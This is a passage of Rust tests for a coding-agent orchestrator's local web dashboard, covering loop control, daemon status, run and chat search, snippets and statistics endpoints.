14037 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14040 assert_eq!(twice.status, 200, "{}", twice.body);
14041 }
14042
14043 #[tokio::test]
14044 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
14045 let f = Fixture::start().await;
14046 write_daemon(f.home.path(), Timestamp::now());
14049
14050 let view = f.get("/api/loop").await.json();
14051 assert_eq!(view["running"], false, "not in this process: {view}");
14052 assert_eq!(view["owned"], false, "and not this process's to control");
14053 assert_eq!(
14054 view["daemon"]["running"], true,
14055 "but a loop is alive somewhere, which is what the UI must say"
14056 );
14057 assert_eq!(view["daemon"]["pid"], 4242);
14058
14059 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
14060 let res = f.post("/api/loop", Some(body)).await;
14061 assert_eq!(
14062 res.status, 409,
14063 "neither button may pretend to work on someone else's loop: {}",
14064 res.body
14065 );
14066 assert!(
14067 res.json()["error"]
14068 .as_str()
14069 .is_some_and(|e| e.contains("4242")),
14070 "the refusal has to name the process the operator must go to: {}",
14071 res.body
14072 );
14073 }
14074 assert_eq!(
14075 f.get("/api/loop").await.json()["running"],
14076 false,
14077 "and the refusal started nothing"
14078 );
14079 }
14080
14081 #[tokio::test]
14082 async fn a_stale_status_file_is_not_a_foreign_owner() {
14083 let f = Fixture::start().await;
14084 write_daemon(
14085 f.home.path(),
14086 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14087 );
14088
14089 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14090 assert_eq!(
14091 res.status, 200,
14092 "a daemon killed a minute ago must not lock the loop out of its \
14093 own home for good: {}",
14094 res.body
14095 );
14096 assert_eq!(res.json()["running"], true);
14097
14098 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14099 }
14100
14101 #[tokio::test]
14102 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
14103 let f = Fixture::start().await;
14104 let before = f.get("/api/health").await.json()["loop_rev"]
14105 .as_u64()
14106 .expect("a loop revision");
14107
14108 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14109
14110 let after = f.get("/api/health").await.json()["loop_rev"]
14111 .as_u64()
14112 .expect("a loop revision");
14113 assert!(
14114 after > before,
14115 "the loop is in-process state, so this counter is the only thing \
14116 that tells a second device the first one started it: {before} -> \
14117 {after}"
14118 );
14119
14120 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14121 }
14122
14123 #[tokio::test]
14124 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
14125 let f = Fixture::with_loop(launch_broken).await;
14126
14127 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14128 assert_eq!(
14129 res.status, 200,
14130 "starting it is not the failure: {}",
14131 res.body
14132 );
14133
14134 let view = settled(&f, |v| v["last_error"].is_string()).await;
14135 assert_eq!(
14136 view["running"], false,
14137 "a loop that died must not read as running, or the operator has \
14138 nothing to press: {view}"
14139 );
14140 assert_eq!(view["owned"], false);
14141 assert!(
14142 view["last_error"]
14143 .as_str()
14144 .is_some_and(|e| e.contains("read-only file system")),
14145 "the phone is where a loop that died at 3am is visible: {view}"
14146 );
14147
14148 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14151 assert_eq!(again.status, 200, "{}", again.body);
14152 assert!(
14153 again.json()["last_error"]
14154 .as_str()
14155 .is_none_or(|e| !e.contains("read-only file system")),
14156 "a fresh start does not keep showing why the last one died: {}",
14157 again.body
14158 );
14159 }
14160
14161 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
14173 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
14174 let home = TempDir::new().expect("temp home");
14175 let runs = home.path().join("runs");
14176 std::fs::create_dir_all(&runs).expect("runs dir");
14177 let ui = Ui::new(
14178 Queue::at(home.path().join("queue")),
14179 Questions::at(home.path().join("questions")),
14180 Talks::at(home.path().join("talks")),
14181 runs,
14182 home.path().to_path_buf(),
14183 PathBuf::from("/repo/magi"),
14184 )
14185 .with_worktrees_root(home.path().join("wt"))
14186 .with_launch(launch_knocking_on_the_way_out);
14187 let looping = ui.looping();
14188 let turns = ui.turns();
14189 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14190 .await
14191 .expect("bind loopback");
14192 let addr = listener.local_addr().expect("local addr");
14193 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
14194 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14195
14196 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
14197 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
14198
14199 let bound = std::sync::Mutex::new(None);
14214 hand_over(
14215 home.path(),
14216 &looping,
14217 &turns,
14218 &|_: &[String]| Duration::from_secs(5),
14219 served,
14220 |_| {
14221 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
14222 let attempt = loop {
14223 match std::net::TcpListener::bind(addr) {
14224 Ok(l) => {
14225 drop(l);
14226 break Ok(());
14227 }
14228 Err(e)
14229 if e.kind() == std::io::ErrorKind::AddrInUse
14230 && std::time::Instant::now() < deadline =>
14231 {
14232 std::thread::sleep(std::time::Duration::from_millis(10));
14233 }
14234 Err(e) => break Err(e.to_string()),
14235 }
14236 };
14237 *bound.lock().expect("bound") = Some(attempt);
14238 Ok(1)
14239 },
14240 )
14241 .await
14242 .expect("hand over");
14243
14244 assert_eq!(
14245 *PARK_HEARD.lock().expect("park heard"),
14246 Some(200),
14247 "the deck must answer while the loop is parking"
14248 );
14249 let attempt = bound
14250 .lock()
14251 .expect("bound")
14252 .take()
14253 .expect("the successor was started");
14254 assert!(
14255 attempt.is_ok(),
14256 "and the address must be free by the time it is: {attempt:?}"
14257 );
14258 }
14259
14260 #[tokio::test]
14261 async fn a_newer_daemon_status_file_still_renders() {
14262 let f = Fixture::start().await;
14263 std::fs::write(
14266 f.home.path().join("daemon.json"),
14267 serde_json::json!({
14268 "schema": 2,
14269 "updated_at": Timestamp::now().to_string(),
14270 "idle": true,
14271 "surprise": { "nested": [1, 2, 3] },
14272 })
14273 .to_string(),
14274 )
14275 .expect("write daemon.json");
14276
14277 let health = f.get("/api/health").await;
14278
14279 assert_eq!(health.status, 200);
14280 assert_eq!(health.json()["daemon"]["running"], true);
14281 }
14282
14283 #[tokio::test]
14284 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
14285 let f = Fixture::start().await;
14286 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14287 let broken = f.runs().join("20260902-140502-bad");
14288 std::fs::create_dir_all(&broken).expect("run dir");
14289 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14290
14291 let list = f.get("/api/runs").await;
14292 let detail = f.get("/api/runs/20260902-140502-bad").await;
14293
14294 assert_eq!(list.status, 200);
14295 let listed = list.json();
14296 let ids: Vec<&str> = listed
14297 .as_array()
14298 .expect("an array")
14299 .iter()
14300 .map(|r| r["id"].as_str().expect("an id"))
14301 .collect();
14302 assert_eq!(
14303 ids,
14304 vec!["20260902-140501-good"],
14305 "one unreadable run must not cost the operator the whole history"
14306 );
14307 assert_eq!(detail.status, 500);
14308 assert!(
14309 detail.json()["error"]
14310 .as_str()
14311 .is_some_and(|e| e.contains("run.json")),
14312 "the failure names the file to look at: {}",
14313 detail.body
14314 );
14315 let health = f.get("/api/health").await;
14319 assert_eq!(health.json()["runs_unreadable"], 1);
14320 }
14321
14322 #[tokio::test]
14324 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
14325 let f = Fixture::start().await;
14326 let runs = f.runs();
14327 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
14328 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
14329 let path = runs.join("20260902-140502-bbbb").join("run.json");
14332 let mut v: serde_json::Value =
14333 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14334 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
14335 std::fs::write(&path, v.to_string()).unwrap();
14336 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
14337 std::fs::write(
14338 runs.join("20260902-140503-cccc").join("run.json"),
14339 "{ not json",
14340 )
14341 .unwrap();
14342
14343 let res = f.get("/api/search?scope=runs&q=quokka").await;
14344 assert_eq!(res.status, 200, "{}", res.body);
14345 let v = res.json();
14346 assert_eq!(v["total"], 1, "{v}");
14347 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
14348 assert_eq!(v["hits"][0]["field"], "text");
14349 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
14350 let parts = v["hits"][0]["snippet"].as_array().unwrap();
14351 assert!(
14352 parts
14353 .iter()
14354 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
14355 "{v}"
14356 );
14357 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
14358 assert_eq!(
14359 flat, "The Quokka leaks across threads",
14360 "whitespace is collapsed"
14361 );
14362
14363 let both = f
14365 .get("/api/search?scope=runs&q=MOBILE%20quokka")
14366 .await
14367 .json();
14368 assert_eq!(both["total"], 1, "{both}");
14369 let neither = f
14370 .get("/api/search?scope=runs&q=quokka%20zebra")
14371 .await
14372 .json();
14373 assert_eq!(neither["total"], 0, "{neither}");
14374 let stmt = f
14376 .get("/api/search?scope=runs&q=mobile%20first")
14377 .await
14378 .json();
14379 assert_eq!(stmt["total"], 2, "{stmt}");
14380 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
14381 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
14382 }
14383
14384 #[test]
14385 fn snippet_ignores_terms_longer_than_the_field() {
14386 let terms = ["ok".to_owned(), "elephant".to_owned()];
14387 let parts = snippet_of("ok", &terms);
14388 assert_eq!(
14389 parts,
14390 vec![SnippetPart {
14391 text: "ok".to_owned(),
14392 hit: true
14393 }]
14394 );
14395 }
14396
14397 #[test]
14398 fn snippet_marks_matches_longer_than_the_window() {
14399 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
14400 let hit_len = |parts: &[SnippetPart]| -> usize {
14401 parts
14402 .iter()
14403 .filter(|p| p.hit)
14404 .map(|p| p.text.chars().count())
14405 .sum()
14406 };
14407 let total =
14408 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
14409
14410 let long = "a".repeat(120);
14411 let parts = snippet_of(&long, std::slice::from_ref(&long));
14412 assert!(hit_len(&parts) > 0, "{parts:?}");
14413 assert!(total(&parts) <= cap);
14414
14415 let ja = "あ".repeat(130);
14416 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
14417 assert!(hit_len(&parts) > 0, "{parts:?}");
14418 assert!(total(&parts) <= cap);
14419
14420 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
14422 let term = format!("ab{}", "c".repeat(100));
14423 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
14424 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
14425 assert!(total(&parts) <= cap);
14426
14427 let text = format!("{}z", "a".repeat(119));
14429 let parts = snippet_of(&text, &["a".repeat(120)]);
14430 assert_eq!(hit_len(&parts), 0, "{parts:?}");
14431 }
14432
14433 #[tokio::test]
14434 async fn search_caps_hits_and_snippet_length() {
14435 let f = Fixture::start().await;
14436 let runs = f.runs();
14437 for n in 0..(SEARCH_MAX_HITS + 5) {
14438 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
14439 }
14440 let v = f.get("/api/search?scope=runs&q=web").await.json();
14441 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
14442 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
14443 assert_eq!(v["truncated"], true);
14444 assert!(
14446 v["hits"]
14447 .as_array()
14448 .unwrap()
14449 .iter()
14450 .all(|h| h["run"]["status"] == "merged")
14451 );
14452
14453 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
14454 let parts = snippet_of(&long, &["needle".to_owned()]);
14455 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
14456 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
14457 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
14458 }
14459
14460 #[tokio::test]
14461 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
14462 let f = Fixture::start().await;
14463 let queue = f.queue();
14464 let mut t = Task::new(
14465 "short title".to_owned(),
14466 "line one\nthe hidden Armadillo detail".to_owned(),
14467 PathBuf::from("/repo/magi"),
14468 Source::Agent {
14469 run: "r1".to_owned(),
14470 node: "chat".to_owned(),
14471 },
14472 );
14473 t.last_error = Some("disk full on /tmp".to_owned());
14474 queue.put(&mut t).expect("file the task");
14475
14476 for (q, want) in [
14477 ("armadillo", 1),
14478 ("disk%20FULL", 1),
14479 ("chat", 1),
14480 ("queued", 1),
14481 ("short%20nothing", 0),
14482 ] {
14483 let v = f
14484 .get(&format!("/api/search?scope=tasks&q={q}"))
14485 .await
14486 .json();
14487 assert_eq!(v["total"], want, "{q}: {v}");
14488 }
14489 for bad in [
14490 "/api/search?scope=tasks&q=",
14491 "/api/search?scope=tasks&q=%20",
14492 "/api/search?scope=chats&q=",
14493 "/api/search?scope=chats&q=%20",
14494 "/api/search?scope=nope&q=a",
14495 "/api/search?q=a",
14496 ] {
14497 assert_eq!(f.get(bad).await.status, 400, "{bad}");
14498 }
14499 }
14500
14501 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
14503 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
14504 .expect("seat value");
14505 let turns: Vec<serde_json::Value> = turns
14506 .iter()
14507 .map(|(who, body)| {
14508 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
14509 })
14510 .collect();
14511 let doc = serde_json::json!({
14512 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
14513 "status": status, "turns": turns,
14514 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
14515 "seat": seat,
14516 });
14517 let dir = f.home.path().join("talks");
14518 std::fs::create_dir_all(&dir).expect("talks dir");
14519 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
14520 }
14521
14522 #[tokio::test]
14523 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
14524 let f = Fixture::start().await;
14525 write_talk(
14526 &f,
14527 "20260901-000001-aaaa",
14528 "open",
14529 &[
14530 (
14531 "operator",
14532 "\n Why does the Pangolin cache expire?\nsecond line",
14533 ),
14534 ("agent", "Because the TTL is thirty seconds."),
14535 ],
14536 );
14537 write_talk(
14538 &f,
14539 "20260901-000002-bbbb",
14540 "closed",
14541 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
14542 );
14543 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
14544
14545 let search = |q: &'static str| {
14546 let f = &f;
14547 async move {
14548 f.get(&format!("/api/search?scope=chats&q={q}"))
14549 .await
14550 .json()
14551 }
14552 };
14553
14554 let v = search("PANGOLIN").await;
14555 assert_eq!(v["scope"], "chats");
14556 assert_eq!(v["total"], 1, "{v}");
14557 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
14558 assert_eq!(v["hits"][0]["field"], "title");
14559 assert_eq!(v["unreadable"], 1, "{v}");
14560 let marked: Vec<&str> = v["hits"][0]["snippet"]
14561 .as_array()
14562 .unwrap()
14563 .iter()
14564 .filter(|p| p["hit"] == true)
14565 .map(|p| p["text"].as_str().unwrap())
14566 .collect();
14567 assert_eq!(marked, ["Pangolin"]);
14568
14569 let v = search("zebra").await;
14571 assert_eq!(v["total"], 1, "{v}");
14572 assert_eq!(v["hits"][0]["field"], "agent");
14573 assert_eq!(search("pangolin%20thirty").await["total"], 1);
14575 assert_eq!(search("pangolin%20zebra").await["total"], 0);
14576 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
14578 assert_eq!(search(q).await["total"], 0, "{q}");
14579 }
14580 assert_eq!(search("second").await["hits"][0]["field"], "operator");
14582 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
14584
14585 let v = f.get("/api/search?scope=nope&q=a").await;
14586 assert_eq!(v.status, 400);
14587 assert!(
14588 v.body.contains("scope must be runs, tasks or chats"),
14589 "{}",
14590 v.body
14591 );
14592 }
14593
14594 #[test]
14595 fn a_question_card_links_a_task_id_to_the_task_page() {
14596 let start = APP_JS
14597 .find("function updateAskCard(")
14598 .expect("updateAskCard exists");
14599 let body = &APP_JS[start..];
14600 let body = &body[..body.find("\n}\n").expect("function end")];
14601 assert!(body.contains("question.run_is_task"));
14602 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
14603 assert!(body.contains("`#/runs/${question.run}`"));
14604 assert!(body.contains("\"task\" : \"run\""));
14605 }
14606
14607 #[test]
14608 fn plain_text_message_surfaces_go_through_linkify() {
14609 assert!(APP_JS.contains("function linkify("));
14610 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
14611 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
14612 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
14613 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
14614 assert!(!APP_JS.contains("innerHTML = text"));
14615 }
14616
14617 #[test]
14618 fn implementation_rate_views_keep_independent_samples() {
14619 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
14620 let a = stats::AgentStats {
14621 competitive_entered: competitive_n,
14622 competitive_wins: usize::from(competitive_n > 0),
14623 solo_entered: solo_n,
14624 solo_adopted: 2 * usize::from(solo_n > 0),
14625 ..Default::default()
14626 };
14627 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
14628 for (key, n, numerator) in [
14629 ("competitive_win_rate", competitive_n, a.competitive_wins),
14630 ("solo_adoption_rate", solo_n, a.solo_adopted),
14631 ] {
14632 if n == 0 {
14633 assert!(v[key].is_null());
14634 } else {
14635 assert_eq!(v[key]["denominator"], n);
14636 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
14637 }
14638 }
14639 }
14640 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
14641 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
14642 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
14643 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14644 }
14645
14646 #[test]
14647 fn stats_bars_share_one_id_keyed_plan() {
14648 let start = APP_JS
14649 .find("function statsBarRows(")
14650 .expect("statsBarRows exists");
14651 let body = &APP_JS[start..];
14652 let body = &body[..body.find("\n}\n").expect("function end")];
14653 assert!(body.contains("statsBarPlan(rows)"));
14654 assert!(body.contains("statsAgentTone(row.agent)"));
14655 assert!(!body.contains("candTone(i)"));
14656 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14657 for root in [
14658 "stats-agents-bars",
14659 "stats-solo-bars",
14660 "stats-reviewers-bars",
14661 ] {
14662 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
14663 }
14664 }
14665
14666 #[test]
14667 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
14668 let start = APP_JS
14669 .find("function renderStatsReviewerScatter(")
14670 .expect("renderStatsReviewerScatter exists");
14671 let body = &APP_JS[start..];
14672 let body = &body[..body.find("\n}\n").expect("function end")];
14673 assert!(body.contains("statsScatterPlan(reviewers)"));
14674 assert!(body.contains("statsAgentTone(d.agent)"));
14675 assert!(APP_JS.contains("function statsScatterPlan("));
14676 assert!(
14677 APP_JS.contains("d.submitted < STATS_LOW_N")
14678 || APP_JS.contains("r.submitted < STATS_LOW_N")
14679 );
14680 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
14681 assert!(APP_CSS.contains(".precision-scatter"));
14682 }
14683
14684 #[test]
14685 fn advisor_reflection_is_drawn_as_stacked_segments() {
14686 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
14687 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
14688 let html = include_str!("../assets/ui/index.html");
14689 assert!(html.contains("Approximate"));
14690 for label in ["reflected strongly", "faint", "no proposal"] {
14691 assert!(html.contains(label));
14692 }
14693 let css = include_str!("../assets/ui/app.css");
14694 for c in ["refl-strong", "refl-faint", "refl-absent"] {
14695 assert!(css.contains(&format!(".{c} {{")));
14696 }
14697 }
14698
14699 #[test]
14700 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
14701 assert!(APP_JS.contains("function statsDailyPlan("));
14702 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
14703 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
14704 }
14705
14706 #[test]
14707 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
14708 let start = APP_JS
14709 .find("function scheduleSearch(")
14710 .expect("scheduleSearch exists");
14711 let body = &APP_JS[start..];
14712 let body = &body[..body.find("\n}\n").expect("function end")];
14713 assert!(body.contains("s.seq += 1"));
14714 }
14715
14716 #[tokio::test]
14721 async fn stats_runs_unreadable_matches_health() {
14722 let f = Fixture::start().await;
14723 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14724 let broken = f.runs().join("20260902-140502-bad");
14725 std::fs::create_dir_all(&broken).expect("run dir");
14726 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14727
14728 let stats = f.get("/api/stats").await;
14729 let health = f.get("/api/health").await;
14730
14731 assert_eq!(stats.status, 200);
14732 assert_eq!(stats.json()["totals"]["runs"], 1);
14733 assert_eq!(stats.json()["runs_unreadable"], 1);
14734 assert_eq!(
14735 stats.json()["runs_unreadable"],
14736 health.json()["runs_unreadable"],
14737 "the dashboard and /api/health must never disagree about how many \
14738 runs could not be read"
14739 );
14740 }
14741
14742 #[tokio::test]
14743 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
14744 let f = Fixture::start().await;
14745 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14746 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
14747 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
14748
14749 let totals = &f.get("/api/stats").await.json()["totals"];
14750 assert_eq!(totals["runs"], 3);
14751 assert_eq!(totals["merged"], 1);
14752 assert_eq!(totals["stalled"], 1);
14753 assert_eq!(totals["in_progress"], 1);
14754 assert_eq!(totals["blocked"], 0);
14757 assert_eq!(totals["ready"], 0);
14758 }
14759
14760 #[tokio::test]
14761 async fn stats_advisors_report_proposals_and_reflection() {
14762 use crate::advise::{Advice, AdvisorRecord, Reflection};
14763 use crate::verdict::Proposal;
14764
14765 let f = Fixture::start().await;
14766 let mut state = RunState::new(
14767 PathBuf::from("/repo/magi"),
14768 "main".to_owned(),
14769 "0123456789abcdef".to_owned(),
14770 "task".to_owned(),
14771 Config::default(),
14772 );
14773 state.id = "20260902-140501-a".to_owned();
14774 state.status = RunStatus::Merged;
14775 state.advice = Some(Advice {
14776 records: vec![
14777 AdvisorRecord {
14778 seat: "advisor-1".to_owned(),
14779 agent: "alpha".to_owned(),
14780 proposal: Some(Proposal {
14781 approach: "do it".to_owned(),
14782 key_tradeoff: "speed over memory".to_owned(),
14783 risks: Vec::new(),
14784 touches: Vec::new(),
14785 why_not_naive: "breaks under load".to_owned(),
14786 }),
14787 error: None,
14788 duration_ms: 0,
14789 reflection: Reflection::Strong,
14790 },
14791 AdvisorRecord {
14792 seat: "advisor-2".to_owned(),
14793 agent: "alpha".to_owned(),
14794 proposal: None,
14795 error: Some("timed out".to_owned()),
14796 duration_ms: 0,
14797 reflection: Reflection::Absent,
14798 },
14799 ],
14800 synthesis: Some("blended brief".to_owned()),
14801 });
14802 let dir = f.runs().join(&state.id);
14803 std::fs::create_dir_all(&dir).expect("run dir");
14804 std::fs::write(
14805 dir.join("run.json"),
14806 serde_json::to_string_pretty(&state).expect("serialize run"),
14807 )
14808 .expect("write run.json");
14809
14810 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
14812 let alpha = advisors
14813 .as_array()
14814 .expect("an array")
14815 .iter()
14816 .find(|a| a["agent"] == "alpha")
14817 .expect("alpha row");
14818 assert_eq!(alpha["seated"], 2);
14819 assert_eq!(alpha["proposed"], 1);
14820 assert_eq!(alpha["absent"], 1);
14821 assert_eq!(alpha["strong"], 1);
14822 assert_eq!(alpha["faint"], 0);
14823 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
14824 }
14825
14826 #[tokio::test]
14827 async fn stats_hides_agents_outside_the_roster_unless_all() {
14828 use crate::run::Candidate;
14829 let repo = TempDir::new().expect("repo dir");
14830 std::fs::write(
14831 repo.path().join("magi.toml"),
14832 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
14833 )
14834 .expect("magi.toml");
14835 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
14836 let mut state = RunState::new(
14837 PathBuf::from("/repo/magi"),
14838 "main".to_owned(),
14839 "0123456789abcdef".to_owned(),
14840 "task".to_owned(),
14841 Config::default(),
14842 );
14843 state.id = "20260902-140501-a".to_owned();
14844 state.status = RunStatus::Merged;
14845 for (label, agent) in [('A', "keep"), ('B', "retired")] {
14846 let mut c: Candidate = serde_json::from_value(serde_json::json!({
14847 "index": 0, "label": label.to_string(), "agent": agent,
14848 "branch": "b", "worktree": "/w",
14849 }))
14850 .expect("candidate");
14851 c.label = label;
14852 state.candidates.push(c);
14853 }
14854 let dir = f.runs().join(&state.id);
14855 std::fs::create_dir_all(&dir).expect("run dir");
14856 std::fs::write(
14857 dir.join("run.json"),
14858 serde_json::to_string_pretty(&state).expect("serialize run"),
14859 )
14860 .expect("write run.json");
14861
14862 let agents_of = |v: &serde_json::Value| -> Vec<String> {
14863 v["agents"]
14864 .as_array()
14865 .expect("array")
14866 .iter()
14867 .map(|a| a["agent"].as_str().unwrap().to_owned())
14868 .collect()
14869 };
14870 let hidden = f.get("/api/stats").await.json();
14871 assert_eq!(agents_of(&hidden), ["keep"]);
14872 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
14873 assert_eq!(hidden["totals"]["runs"], 1);
14874
14875 let all = f.get("/api/stats?all=true").await.json();
14876 assert_eq!(agents_of(&all).len(), 2);
14877 assert_eq!(all["retired_hidden"], serde_json::json!([]));
14878 let keep_agent = all["agents"]
14880 .as_array()
14881 .unwrap()
14882 .iter()
14883 .find(|a| a["agent"] == "keep")
14884 .unwrap();
14885 assert_eq!(keep_agent["competitive_entered"], 1);
14886 assert_eq!(keep_agent["competitive_wins"], 0);
14887 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
14888 assert_eq!(keep_agent["solo_entered"], 0);
14889 assert_eq!(keep_agent["solo_adopted"], 0);
14890 assert!(keep_agent["solo_adoption_rate"].is_null());
14891 }
14892
14893 #[tokio::test]
14894 async fn stats_release_bumps_split_clean_from_attention() {
14895 use crate::run::ReleaseBump;
14896
14897 let f = Fixture::start().await;
14898
14899 let mut clean = RunState::new(
14900 PathBuf::from("/repo/magi"),
14901 "main".to_owned(),
14902 "0123456789abcdef".to_owned(),
14903 "task".to_owned(),
14904 Config::default(),
14905 );
14906 clean.id = "20260902-140501-a".to_owned();
14907 clean.status = RunStatus::Merged;
14908 clean.release_bump = Some(ReleaseBump {
14909 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
14910 version: Some("1.0.0".to_owned()),
14911 automerge_enabled: true,
14912 merged_directly: false,
14913 local: false,
14914 release: None,
14915 problem: None,
14916 action_required: None,
14917 });
14918
14919 let mut blocked = RunState::new(
14920 PathBuf::from("/repo/magi"),
14921 "main".to_owned(),
14922 "0123456789abcdef".to_owned(),
14923 "task".to_owned(),
14924 Config::default(),
14925 );
14926 blocked.id = "20260902-140502-b".to_owned();
14927 blocked.status = RunStatus::Merged;
14928 blocked.release_bump = Some(ReleaseBump {
14929 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
14930 version: Some("1.0.1".to_owned()),
14931 automerge_enabled: false,
14932 merged_directly: false,
14933 local: false,
14934 release: None,
14935 problem: Some("checks red".to_owned()),
14936 action_required: Some("look at the PR".to_owned()),
14937 });
14938
14939 for state in [&clean, &blocked] {
14940 let dir = f.runs().join(&state.id);
14941 std::fs::create_dir_all(&dir).expect("run dir");
14942 std::fs::write(
14943 dir.join("run.json"),
14944 serde_json::to_string_pretty(state).expect("serialize run"),
14945 )
14946 .expect("write run.json");
14947 }
14948
14949 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14950 assert_eq!(bumps["merged"], 2);
14951 assert_eq!(bumps["recorded"], 2);
14952 assert_eq!(bumps["pr_opened"], 2);
14953 assert_eq!(bumps["automerge_enabled"], 1);
14954 assert_eq!(bumps["needs_attention"], 1);
14955 assert_eq!(bumps["clean"], 1);
14956 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
14957 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
14958 }
14959
14960 #[tokio::test]
14961 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
14962 let f = Fixture::start().await;
14963 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14964
14965 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14966 assert_eq!(bumps["merged"], 1);
14967 assert_eq!(bumps["recorded"], 0);
14968 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
14971 assert_eq!(bumps["automerge_rate"], Value::Null);
14974 assert_eq!(bumps["attention_rate"], Value::Null);
14975 }
14976
14977 #[tokio::test]
